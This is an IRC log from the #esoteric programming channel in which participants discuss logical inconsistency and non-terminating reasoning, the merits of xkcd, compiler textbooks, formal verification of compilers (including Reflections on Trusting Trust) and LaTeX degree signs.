contradiction. < 1268075253 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: As is my perogative, I thought. < 1268075257 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i.e.: p & ~p. < 1268075267 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :From this, you can prove anything. < 1268075295 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :You can prove that false is 42, that 43+1 = -99 and -99 is also a horse of size 98 that behaves as a monoidal functor when applied to itself. < 1268075296 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :If you can prove anything, you can prove the premises, therefore there are chains of reasoning which do not terminate. < 1268075302 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :See http://xkcd.com/704/ for an example < 1268075323 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I liked that xkcd - incredibly rare for me as of late. < 1268075349 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :xkcdsucks had a really stupid rebuttal saying that a piece of data isn't true or false, it's a piece of data, but obviously you'd just do "Your mom's phone number is 923487958" and prove that < 1268075350 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :then use that < 1268075358 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268075408 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: In the dependent-types view, we hvae < 1268075411 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*have < 1268075415 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Types :: statements < 1268075417 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Values :: proofs < 1268075429 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :If you prove a falsehood, your value doesn't terminate when evaluated. < 1268075438 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise_: The most recent xkcd was REALLY bad. < 1268075441 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So, yes, in a way you are right. < 1268075442 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I'm not convinced of the converse, though (If there are chains of reasoning which don't terminate in ZFC, then it's inconsistent) < 1268075446 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :So bad I may remove it from my RSS reader. < 1268075447 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :But "termination" doesn't make any sense in logic. < 1268075451 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I don't read xkcd. < 1268075456 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Yeah, that was an enjoyable xkcd. < 1268075459 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Infinite chains of reasoning, perhaps, but there is no computation, so there is no termination. < 1268075469 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: I used to. < 1268075474 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :But it became shitty. < 1268075494 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: You have a computational view of "termination", I think. < 1268075494 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I read xkcd still because *following* a hit-and-miss comic takes very little time. < 1268075505 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Right you are. < 1268075510 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Once I've started following a comic, it takes a severe facepalm moment for me to stop. < 1268075515 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... Or just severe apathy. < 1268075517 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, hi < 1268075541 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Yeah, but this latest one was terrible, even for XKCD. < 1268075546 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Like, ow, my brain hurts terrible. < 1268075633 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: what do you mean by "chain of reasoning"? < 1268075644 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: True. It did quite suck. < 1268075653 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :This looks like a non-terminating chain of reasoning to me: 1 = 1; therefore, 2 = 2; therefore, 3 = 3; therefore, 4 = 4; therefore, . . . < 1268075669 0 :alise!~d4b78c21@gateway/web/freenode/x-auikqbxrruntunxf JOIN :#esoteric < 1268075684 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Or just "1 = 1 therefore 1 = 1 therefore ..." < 1268075697 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: did you /see/ the xkcd where the whole joke was "Here are some cartoon female genitals. Here are stick people that cannot possibly possess them. LOL, TGI FRIDAYS" < 1268075723 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: ... I think I scrubbed it from my memory. < 1268075738 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: AFAICT that's what I mean. < 1268075757 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hey I've hated xkcd for years < 1268075759 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: okay, so I just showed you a non-terminating chain of reasoning. So does that mean ZFC is consistent? < 1268075760 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268075762 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :how come you guys are only just catching up now < 1268075762 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: imo proofs aren't actually part of zfc's truth space < 1268075774 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: it started sucking around maybe 2007-2008 imo. < 1268075781 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :You have axioms and rules for deriving theorems from those axioms. < 1268075785 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: as in they're just a tool for us to reason about, and verify things < 1268075795 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but they're totally orthogonal to any issue actually related to the set of truths we call zfc < 1268075796 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fax: Because it's gone from overrated but amusing to overrated and sucking most of the time. < 1268075802 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268075839 0 :sudobus!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION liked it better when the convo was about stuff he knew about, like the cocio-economic effects of a potential utube cencorship, or cats
< 1268075861 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: No, that's the converse that I said I wasn't convinced of, isn't it? < 1268075874 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"utube" ;_; < 1268075889 0 :sudobus!unknown@unknown.invalid PRIVMSG #esoteric :fax: (: < 1268075893 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :sudobus: you do realise this is a progrmaming channel :) < 1268075896 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*programming < 1268075902 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric : I'm not convinced of the converse, though (If there are chains of reasoning which don't terminate in ZFC, then it's inconsistent) < 1268075913 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: so now are you convinced that the existence of a non-terminating chain of reasoning doesn't imply that it's inconsistent? < 1268075929 0 :sudobus!unknown@unknown.invalid PRIVMSG #esoteric :alise: sudobus == hiato < 1268075934 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Other way 'round. If it's inconsistent, then etc < 1268075939 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :sudobus: Spelling. Improve it. < 1268075940 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268075953 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: he's south african he can do what the hell he likes because he's interesting < 1268075957 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :sudobus: I know what a catbus is, but what's a sudobus? < 1268075960 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :IRC has just enough people who spell things correctly to make it really depressing when someone comes out with shit like "cong@l8" < 1268075976 0 :sudobus!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Srue tihng man < 1268075985 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :rotful < 1268075986 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: here's wolfram being a complete idiot http://groups.google.com/group/comp.lang.lisp/msg/f3b93140c2f2e922?dmode=source&output=gplain&pli=1 < 1268076006 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I think you mean "çocio-economic" and "cençorship". < 1268076020 0 :sudobus!unknown@unknown.invalid PRIVMSG #esoteric :alise: it's what you get when you take a and rest it perpendicularly on a piece of paper that says "sudo" just right tos that the o's overlap < 1268076024 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Most people are complete idiots at least a couple of times in their lives < 1268076034 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I think he meant イエユイノボメノ. < 1268076037 0 :sudobus!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: sorry, my bad < 1268076039 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(note -- not actual Japanese) < 1268076040 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, ah this is KMP -- I have read this < 1268076045 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Yes, it takes a very special sort of person to make a career out of it. < 1268076057 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: kmp? < 1268076060 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh pitman < 1268076095 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Indeed < 1268076127 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: It shows that Wolfram has a huge attitude problem & ego that has lasted til today. < 1268076130 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :He then said "I'm going to read these and then I'll know as much as you." < 1268076134 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hehe < 1268076146 0 :sudobus!unknown@unknown.invalid PRIVMSG #esoteric :alise: I just realised I left out at least a word from my previous reply. Note: rest a mirror ... just right so that the .. < 1268076215 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I actually am going to read these, and then I actually will know as much as you! < 1268076265 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I should carry about a stack of books just incase I want to insult someone < 1268076340 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :including "the compiler book with the dragon on it" < 1268076349 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: AAAH. < 1268076369 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Tangentially, I should read the Dragon Book sometime. < 1268076376 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why? it's outdated < 1268076383 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you would only read if you like history < 1268076390 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What's not outdated? < 1268076398 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Appels book < 1268076399 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... Outdated books can be enjoyable. < 1268076422 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Or at least enlightening. < 1268076446 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fax: The latest edition of the dragon book is newer than Appel's < 1268076459 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :By about 10 years < 1268076460 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh, and there have been 2 later editions. < 1268076463 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Most recent was in 2006. < 1268076476 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Of course, most people think of the *first*, but still. < 1268076488 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ah that's interesting < 1268076500 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :they have republished it, I have not seen the new version < 1268076501 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The first is out of print :-P < 1268076508 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I've heard the recent editions are not much more than reprints of the originals? < 1268076511 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Yeah, yeah. < 1268076516 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :there aren't any compiler books from a functional perspective < 1268076517 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmph < 1268076533 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: "Modern Compiler Design" explains a bit of how Haskell is compiled < 1268076538 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: "Modern Compier Design"... yeah < 1268076544 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no, I mean < 1268076548 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :structuring compilers functionally < 1268076552 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, Calculating Compilers < 1268076552 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :MCD's coverage is not very good though < 1268076564 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(PhD thesis, but it's a good read anyway) < 1268076567 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: well... foo to you < 1268076570 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: True, unfortunately < 1268076571 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: The Implementation of Functional Programming Languages, by SPJ? < 1268076576 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :foo ?? < 1268076596 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Part of me wonders why you even need a book on it :/ < 1268076597 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, http://www.reddit.com/r/squiggol/ < 1268076606 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Sexy purposes < 1268076672 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise??? < 1268076674 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Gah < 1268076680 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.uni-koblenz.de/~laemmel/expression/long.pdf cool, material on the expression problem! < 1268076683 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Proving compilers correct is useless. < 1268076693 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, hahahahah < 1268076693 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Prove the generated code is correct. < 1268076700 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: That's... what you do. < 1268076728 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: ... That's not the only reason to write a compiler functionally... < 1268076734 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Or write anything functionally... < 1268076735 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :A correct compiler will take an incorrect program and produce another incorrect program. < 1268076737 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You prove that the canonical semantics of the input (syntax tree) are equivalent to the canonical semantics of the output. < 1268076739 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"Proving compilers correct is useless." -- I am not able rightly to apprehend the kind of confusion of ideas that could provoke such a remark. < 1268076745 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And... That's... What people do... < 1268076745 0 :sudobus!unknown@unknown.invalid QUIT :Quit: leaving < 1268076763 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :fax: Some of it is overstatement. But not all of it. < 1268076765 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Why yes. Yes it will. < 1268076774 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Adapted from Babbage - On two occasions I have been asked, 'Pray, Mr. Babbage, if you put into the machine wrong figures, will the right answers come out?' I am not able rightly to apprehend the kind of confusion of ideas that could provoke such a question. < 1268076785 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: And I would expect nothing more of a correct compiler. < 1268076800 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Well. I also want correct code to produce correct output. < 1268076823 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So, dependently-typed combinator calculus. < 1268076833 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :... < 1268076837 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Specifically: a language with only combinators that has dependent types and is total (but not powerless). < 1268076841 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(No lambda abstractions.) < 1268076843 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise answer me! < 1268076844 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :A compiler is code. Proving a compiler correct is a subset of proving code is correct. Why people concentrate on that one subclass eludes me. < 1268076844 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Commence. < 1268076848 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: answer WHAT < 1268076852 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :s/sub*/subcase/. < 1268076862 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise from earlier < 1268076865 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Uh? < 1268076872 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: what < 1268076912 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: It's fairly simple -- when your compiler is *incorrect*, you cannot rely on the compiler to generate correct code. < 1268076921 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ugh alise why are you so mean < 1268076930 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: I'm not, I just don't know what the fuck you want me to do < 1268076950 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Please stop assuming you're the center of the universe and that I follow what you say above all others, I like you but please just repeat what you want me to reply to < 1268076999 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Proving a compiler correct is proving a function (Lang -> Lang) correct. Call it f. What you're saying is "Prove that semantics (f x) = semantics x". But if we wanted to prove f correct, we have to express the intended semantics. "Given the input x and the output x', prove that semantics x' = semantics x". < 1268077006 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Right, so proving programs correct is important. I get that. < 1268077011 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So proving the compiler correct /is/ proving the compiler's output correct. < 1268077023 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :What I don't get is why this *special case* is so friggin' popular, esp. in theses. < 1268077049 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because it's hard. < 1268077050 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and important < 1268077052 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, you just seem to sort of phase out when I link you stuff < 1268077055 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :see e.g. Reflections on Trusting Trust < 1268077063 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Because it's more important than most other cases. < 1268077065 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: no I just don't respond to links that I am unable to interpret the context of; also, I did respond < 1268077069 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I linked to an article linked to in that subreddit < 1268077073 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Since almost everything is compiled. < 1268077081 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, no there's a compilers book in there < 1268077095 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: i didn't see < 1268077101 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268077104 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yet ultimately, everything is interpreted. < 1268077123 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :We should probably be proving our text editors correct, too. < 1268077232 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Do you have any idea how much verification goes into making an x86 CPU? < 1268077233 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, http://jaguar.it.miami.edu/~chris/formal_methods_in_the_movies/TheWizardOfOz.html < 1268077277 0 :alise_!~d4b78c21@gateway/web/freenode/x-scxeyrkywnvjhjyu JOIN :#esoteric < 1268077284 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Issues still slip on through on occasion, though. < 1268077295 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Though the only such case I can think of is the FDIV bug on the Pentiums... < 1268077308 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: We do not prove our editors correct because it is incredibly trivial to verify that they produce the correct results with a so-simple-there-cannot-be-any-bugs utility such as cat. < 1268077321 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Which is basically the reason WHY they do formal verification nowadays. < 1268077329 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Indeed. < 1268077346 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: For compilers, Reflections on Trusting Trust shows that it is pretty much /unknowable/ whether a compiler is correct. < 1268077365 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Even if the compiler is not malicious, such errors could happen. And verifying that a huge program was compiled correctly? Good luck. < 1268077373 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So we attack the problem at the source, and prove our compiler correct. < 1268077399 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :how does one get a degree sign in LaTeX? < 1268077410 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in an equation that is < 1268077420 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: If you prove that the generated code is incorrect, you've caught a bug *regardless* of whether it was in the compiler or in the code being compiled. < 1268077434 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks at fizzie
< 1268077463 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: You don't understand - given a black-box compiler proving that your code was compiled correctly is almost impossible. < 1268077463 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: \circ or something < 1268077464 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Consider: < 1268077473 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: See also http://detexify.kirelabs.org/classify.html < 1268077479 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ^\circ, I think < 1268077488 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :When we prove the compiler correct, we do it by meticulously analysing every case it uses to compile constructs; we have direct access, we prove the atomic compilations correct, and their compositions. < 1268077491 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, hm okay < 1268077493 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Voila, the compiler is Always Right. < 1268077495 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well that works < 1268077498 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268077501 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I think I saw ^\circ used somewhere, yes. < 1268077502 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: If we just have the input, and the output... where do you start? < 1268077503 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I.e. raise it to the power of one circle :-P < 1268077509 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :You have to model how it was compiled first - basically, write your own compiler. < 1268077512 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, hah < 1268077515 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"we do it by meticulously analysing every case it uses to compile constructs" -- *sigh* < 1268077518 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Then you have to verify that each compilation is equal to how your model would compile it. < 1268077530 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: But then we have to verify our now-very-real model compiler is correct, or it's useless. < 1268077534 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: You have the semantics of the program, and you have the semantics of the target language. That's where you start. < 1268077550 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :have you every actually done a formal correctness proof for a non-trivial compiler? < 1268077555 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ever* < 1268077572 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :http://anthony.liekens.net/index.php/LaTeX/DegreesNotation -- that suggests either ^\circ (possibly with your own \newcommand) or the existing \degree from \usepackage{gensymb}. < 1268077580 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: Would you prefer I went into the nitty-gritty when the abstarct principles are all that matter here? < 1268077586 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :fax: Me? No. But (as should be obvious) I have reasons for that. < 1268077596 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, not you, alise :p < 1268077596 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: I was thinking ^\circ. Thought it'd be too silly to say. < 1268077612 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's less silly than just ^o at the very least. :p < 1268077636 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :fax: For trivial compilers, the problem seems not too difficult, maybe even enjoyable if the compiler is written a certain way < 1268077707 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION needs alise to get into the trenches
< 1268077780 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: But my ivory tower is so comfortable... < 1268077796 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Besides, I refuse to do any serious work in anyone ELSE's language. They have cooties. < 1268077818 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1268078091 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Actually (to get back to the previous topic) the problem seems trivial if you construct your compiler compositionally (though I realize full well almost all production compilers aren't, but we were talking about functional languages.) If a->b is correct, and b->c is correct, then a->b->c = a->c is correct. < 1268078129 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :If a->b is correct, and c->d is correct, (a,c)->(b,d) is correct, assuming sane composition < 1268078186 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Now add full-program optimisations. < 1268078204 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Oh yes. The problem AS USUAL is that someone wants it to GO FAST. < 1268078250 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1268078446 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1268078457 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this is not accurate < 1268078510 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268078545 0 :alise!~d4b78c30@gateway/web/freenode/x-nfmnofcsutzfabmf JOIN :#esoteric < 1268078555 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Mind you, I don't plan on including a clever compiler in my OS. < 1268078566 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's near-the-metal, and cpus are really fast. So... < 1268078649 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268078798 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I'm simply disregarding all considerations of efficiency. < 1268078820 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Waste of time to worry about wasting time. < 1268078840 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268078879 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: ah, words of truth < 1268078955 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :At the same time, I will continue to complain about web sites that are slow to load. I have a hypocrisy quota to reach, you see. < 1268079060 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://dadgum.com/james/performance.html < 1268079284 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ping < 1268079339 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: Why are you writing an Othello in Haskell? < 1268079349 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Felt like it. :-) < 1268079683 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Argh! < 1268079684 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I need type-level functions. < 1268079689 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1268079701 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :...because I'm implementing a dependently-typed language. :-) < 1268079710 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(But not for /that/ reason.) < 1268079789 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :othello and its rich internal type system... < 1268079825 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :<3 < 1268079843 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION steps back, examines his general structure.
